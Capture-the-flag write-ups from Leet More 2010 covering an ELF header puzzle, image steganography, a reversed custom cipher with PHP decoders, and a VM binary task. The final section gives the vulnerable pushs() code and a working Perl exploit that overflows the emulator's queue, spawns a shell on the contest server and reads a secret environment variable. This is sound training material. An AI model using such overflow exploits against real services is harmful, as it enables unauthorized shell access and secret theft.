Leet More 2010 ELF Quest writeup

Find the hidden message. file

Try the file tool and u’ll be told it is an ELF file. But any other tools say the header is corrupted and if you compare it with true ELF header, you will know it’s a trash. A good thing for further analysis is to count chars.

73 30 6d 65 74 69 6d 65 73 5f 68 65 61 64 65 72 73 5f 6c 69 65 0a …

Now you see they are printables, so get chr() of them for flag:
s0metimes_header_lie

Leet More 2010 Time Traveller writeup

A scientist who worked on the issue of space-time continuum, suddenly disappeared.
He left only
a mysterious drawing in a notebook.
There is a suspicion that he traveled back in time. In what year did he travel? And what is his name?

There are only 2 breaks in this maze. Let’s try to find the way. Ascii of lines length don’t mean anything, but turns do. Each turn is a bit. Just experiement to find that turn right = 1, turn left = 0. Here is a script to collect bits:

<?php

    $im = imagecreatefrompng($argv[1]);
    if (!$im) die("can't open image\n");
    
    $right1 = 1; #if turn right = 1
    $sx = $sy = 512;

    #start coordinates
    $x = 256;
    $y = 246;
    $angle = 270;
    
    $key = '';
    while (1) {
        $cos = intval(cos(deg2rad($angle)));
        $sin = intval(sin(deg2rad($angle)));
        $c = imagecolorat($im, $x+$cos, $y-$sin);
        if ($c) #clear pixels for doctor's name
            imagesetpixel($im, $x+$cos, $y-$sin, 0x30);
        if (!$c) {
            $ar = ($angle + 270 ) % 360;
            $al = ($angle + 90 ) % 360;
            $xr = $x+intval(cos(deg2rad($ar)));
            $yr = $y-intval(sin(deg2rad($ar)));
            $xl = $x+intval(cos(deg2rad($al)));
            $yl = $y-intval(sin(deg2rad($al)));
            $cr = imagecolorat($im, $xr, $yr);
            $cl = imagecolorat($im, $xl, $yl);
            
            if ($cl && $cr)
                die("Picture failish\n");
            if (!$cl && !$cr)
                break;
            if ($cr) {
                $angle = $ar;
                $x = $xr;
                $y = $yr;
            }
            else {
                $angle = $al;
                $x = $xl;
                $y = $yl;
            }
            $key .= (!!($cr) ^ $right1) ? 1 : 0;
        }
        else {
            $x += $cos;
            $y -= $sin; //axes differ
        }
    }
    
    $a = str_split($key, 8);
    foreach ($a as $b) {
        echo chr(bindec($b));
    }
    echo "\n";
    
    imagepng($im, "out.png");
    
?>
$ php solve.php traveller.png
Th1RtY_e1gHT_5ev3nTY_0Ne_A.D.

out.png contains a shadowed path and we can see the scientist’s name:

So, the answer to Time Traveller 2 was “Dr Leet”

Leet More 2010 Strange Cipher writeup

Decrypt this “UPDYUFFRPY\TDDSUITF\R\FARTTITYGPPF\/YSGDFY
AAO:DF/TA\IAGR:A//DR/T”.

ctf.ifmo.ru:5555

If we connect to the service and try to encrypt \x00, \x01, \x02, \x03, \x04, we can notice that only first two bytes and the last one change:

[ GDOPU/SIIR\TDPAFYGDA/:S/EIT\\FS/OA:PRYS/DOIOTIS/GUPPYPS/GIGPUSS\ ]
[ GFOPU/SIIR\TDPAFYGDA/:S/EIT\\FS/OA:PRYS/DOIOTIS/GUPPYPS/GIGPUSSE ]
[ GGOPU/SIIR\TDPAFYGDA/:S/EIT\\FS/OA:PRYS/DOIOTIS/GUPPYPS/GIGPUSSR ]
[ ::OPU/SIIR\TDPAFYGDA/:S/EIT\\FS/OA:PRYS/DOIOTIS/GUPPYPS/GIGPUSST ]

There are 16 different chars, so a good idea is to replace them with [0-9a-f]. GD->GF->GG->::->:/ – looks like it’s increasing by 1 each step. That means, that ‘::’ is ’00’ ;) Make some more encryptions and we get a charset: “:/\ERTYUIOPASDFG” -> “0123456789abcdef”.

I wrote a simple decoder:

<?php
    $alpha = str_split(":/\\ERTYUIOPASDFG", 1);
    $replace = str_split("0123456789abcdef", 1);
    
    fgets(STDIN);
    fgets(STDIN);
    $s = fgets(STDIN);
    $s = str_replace($alpha, $replace, $s);
    
    echo $s;
?>
Use it like:
$ echo -e "\x04\x00\x00\x00" | nc ctf.ifmo.ru 5555 | php client.php
[ 009a71c88425dabe6fdb10c138522ec19b0a46c1d98958c1f7aa6ac1f8fa7cc5 ]
A fact that the byte is increased along with the input, points that it is a sum of input and some value. Let’s modify a client to get true values:
$ python -c 'print "\x00"*32;' | nc ctf.ifmo.ru 5555 | php client.php
[ fc9a71be7a25dabe6fdb10c138522ec19b0a46c1d98958c1f7aa6ac1f8fa7cc1 ]
<?php 
    $alpha = str_split(":/\\ERTYUIOPASDFG", 1);
    $replace = str_split("0123456789abcdef", 1);
    
    fgets(STDIN);
    fgets(STDIN);
    $s = fgets(STDIN);
    $s = str_replace($alpha, $replace, $s);
    $ss = str_split(substr($s, 2, -3), 2);
    $as = str_split("fc9a71be7a25dabe6fdb10c138522". \
             "ecba50a46c1d98958c1f7aa6ac1f8fa7cc1", 2);

    $s = '';
    foreach ($as as $index=>$add) {
        $char = hexdec($ss[$index])-hexdec($as[$index]);
        $t = dechex($char & 0xff);
        while (strlen($t)<2) $t = "0$t";
        $s .= $t;
    }
    
    echo "[ $s ]\n";
?>
Now, let’s play with encryption a bit more to understand it. Some tries and we understand that each byte is xored by next:
\xcc\x0c\x00\x00 -> \xc0\x0c\x00\x00
It’s time to write a decrypter:
<?php

    $s = "UPDYUFFRPY\\TDDSUITF\\R\\FARTTITYGPPF\\/Y". \
         "SGDFYAAO:DF/TA\\IAGR:A//DR/T";

    $alpha = str_split(":/\\ERTYUIOPASDFG", 1);
    $replace = str_split("0123456789abcdef", 1);
    $s = str_replace($alpha, $replace, $s);
    $ss = str_split( $s, 2);
    $as = str_split("fc9a71be7a25dabe6fdb10c13852". \
          "2ec19b0a46c1d98958c1f7aa6ac1f8fa7cc1", 2);
    
    $s = '';
    $ts = array();
    foreach ($as as $index=>$add) {
        $char = hexdec($ss[$index])-hexdec($as[$index]);
        $t = dechex($char & 0xff);
        while (strlen($t)<2) $t = "0$t";
        $ts[] = $t;
    }
    
    $rev = '';
    for ($i = count($ts); $i > 0; $i--) {
        $c = hexdec($ts[$i-1]);
        $c ^= hexdec($ts[$i % 32]);
        $t = dechex($c & 0xff);
        while (strlen($t)<2) $t = "0$t";
        $ts[$i-1] = $t;
        $rev = chr($c).$rev;
    }
    
    echo $rev."\n";

?>
$ php solve.php
*TheCoolestFlagOverTheWorldEver*
$ echo "*TheCoolestFlagOverTheWorldEver*" | nc ctf.ifmo.ru 5555
Enter the text to encrypt:
> Encryption successful:
[ UPDYUFFRPY\TDDSUITF\R\FARTTITYGPPF\/YSGDFYAAO:DF/TA\IAGR:A//DR/T ]
You can find the binary here.

Leet More 2010 Noise Magic writeup

I think there’s nothing interesting in this image. Do you agree? image
Task
The image looks like it’s just a random noise. To make sure, we can measure a randomness. Pixels of each color can appear in each place of the image with equal chance. If it’s false for some colors, we certainly want to look at them. Here is a script for that:
<?php 

    $fname = "quest.png";
    $im = imagecreatefrompng($fname);
    list($sx, $sy) = getimagesize($fname);
    
    # -----------------------------------------------------------
    # Divide the image into blocks and count a colors in each one
    # For each color calculate average count in one block
    # -----------------------------------------------------------
    $xblocks = 8;
    $yblocks = 8;
    $xsize = intval($sx/$xblocks);
    $ysize = intval($sy/$yblocks);
    $count = $avg_count = array();
    for ($yb = 0; $yb < $yblocks; $yb++) {
    for ($xb = 0; $xb < $xblocks; $xb++) {
        for ($y = $yb*$ysize; $y < ($yb+1)*$ysize; $y++) {
        for ($x = $xb*$xsize; $x < ($xb+1)*$xsize; $x++) {
            $c = imagecolorat($im, $x, $y);
            @$count[$yb][$xb][$c]++;
        }}
        foreach ($count[$yb][$xb] as $color => $color_count) {
            @$avg_count[$color] += $color_count/($xblocks*$yblocks);
        }
    }}

    # -----------------------------------------------------------
    # Calculate a dispersion (deviation) from average count
    # for each color as sum of each block's squared difference
    # -----------------------------------------------------------
    $d = array();
    $dmax = 0;
    for ($yb = 0; $yb < $yblocks; $yb++) {
    for ($xb = 0; $xb < $xblocks; $xb++) {
        foreach ($count[$yb][$xb] as $color => $color_count) {
            @$d[$color] += pow($color_count - $avg_count[$color], 2);
            if ($d[$color] > $dmax) $dmax = $d[$color];
        }
    }}
    
    # -----------------------------------------------------------
    # Calculate average dispersion, just for information
    # -----------------------------------------------------------
    $avg_d = 0;
    foreach ($d as $disp) {
        $avg_d += $disp;
    }
    $avg_d /= count($d);
    echo "MAX disp: ".round($dmax,2)."; AVG: ".round($avg_d,2)."\n";
    
    # -----------------------------------------------------------
    # Find the largest "gap" in array, use it as edge
    # -----------------------------------------------------------
    asort($d);
    $gap = 0;
    $gap_disp = 0;
    $prev_disp = -1;
    foreach ($d as $color=>$disp) {
        if ($prev_disp > 0) {
            if ($disp - $prev_disp > $gap) {
                $gap = $disp - $prev_disp;
                $gap_disp = $prev_disp + ($disp - $prev_disp)/2;
            }
        }
        $prev_disp = $disp;
    }
    echo "GAP: ".round($gap_disp,2)." ± ".round($gap/2,2)."\n";

    # -----------------------------------------------------------
    # Blacken pixels with disp < $limit
    # -----------------------------------------------------------
    $limit = $gap_disp; //we can use intval($dmax/3);
    for ($y = 0; $y < $sy; $y++) {
    for ($x = 0; $x < $sx; $x++) {
        $c = imagecolorat($im, $x, $y);
        if ($d[$c] < $limit) { 
            imagesetpixel($im, $x, $y, 0);
        }
    }}
    
    imagepng($im, "solve.png");
    echo "DONE.\n";
    
?>
Well, if we run it, we get some information and an image with “bad pixels” in “solve.png”:
$ php solve.php
MAX disp: 1492.41; AVG: 92.82
GAP: 351.61 ± 200
DONE.
The resulting image:

Resulting image

Leet More 2010 Stack or what? writeup

We received a new CPU model, you are to make a vulnerability check. Enter the CPU secret code as a proof. [ ctf.ifmo.ru:3123 ] + binary
Here we have a VM with a few instuctions: nop, add, xor, mul, push, pop, loop, pops, pushs and core.
The most intresting is core – it spawns a shell, if the whole memory (256 bytes) is equal to a key, which is generated from ENV{“CPUCODE”}. This key is placed before the stack (which is actually a queue – just compare pop and push instructions) and stack grows to the key. So we have to overflow the stack, bypassing checks, or to read the key – to overflow the stack pointer.
A good idea is that vulnerability is somewhere in stack instructions – push/pushs or pop/pops. And it’s true – pushs is vulnerable:
void pushs(unsigned char strlen) {
  int result;
  signed int i;
  char *str;
  int saved_ax;

  saved_ax = (unsigned char)v_ax;
  str = &code[v_eip - 1]; //points to string after 'pushs' opcode and strlen
  v_eip += strlen - 1;
  if ( strlen + slen > 256 )
    puts("Stack overflow");
  else {
    for ( i = 1; i <= strlen; ++i ) {
      *(stack + stack_pointer - i) = str[i - 1];
      ++slen;
    }
    stack_pointer -= strlen;
  }
  fflush(stdout);
  result = saved_ax;
  v_ax = saved_ax;
}
The stack (queue) works due to “char” cycling. But here a computed index of stack’s byte has type ‘signed int’ because it isn’t stored in variables. Also, stack_pointer is not modified after each byte. So we can get something like *(stack + 0 – i) = str[i-1], and overwrite a large part of the key.
Exploit is rather simple:
#!/usr/bin/perl
print "\x08\xff"; #pushs \x00 x255
print "\x00"x255;
# We have to do "pops", because slen(len of data in queue)
# is checked every time
print "\x07\x00\xff"; #pops 255
# A first byte of the key is probably \xff
# (if CPUCODE is not very long)
print "\x08\x01"; #pushs
print "\xff";
print "\x07\x00\x01"; #pops
# Now mem is (ff 00 00 .. 00)
# Overwrite last 255 bytes
# of the key with \x00
print "\x08\xff"; #pushs
print "\x00"x255;
# "core" instruction
print "\x09\x00\x00\n";
Use like this:
$ (perl solve.pl; cat) | nc ctf.ifmo.ru 3123
Initializing CPU
Running program
Entering core mode
echo $CPUCODE
EMUL4T0RZ_HAX0RZ
exit

Task solved.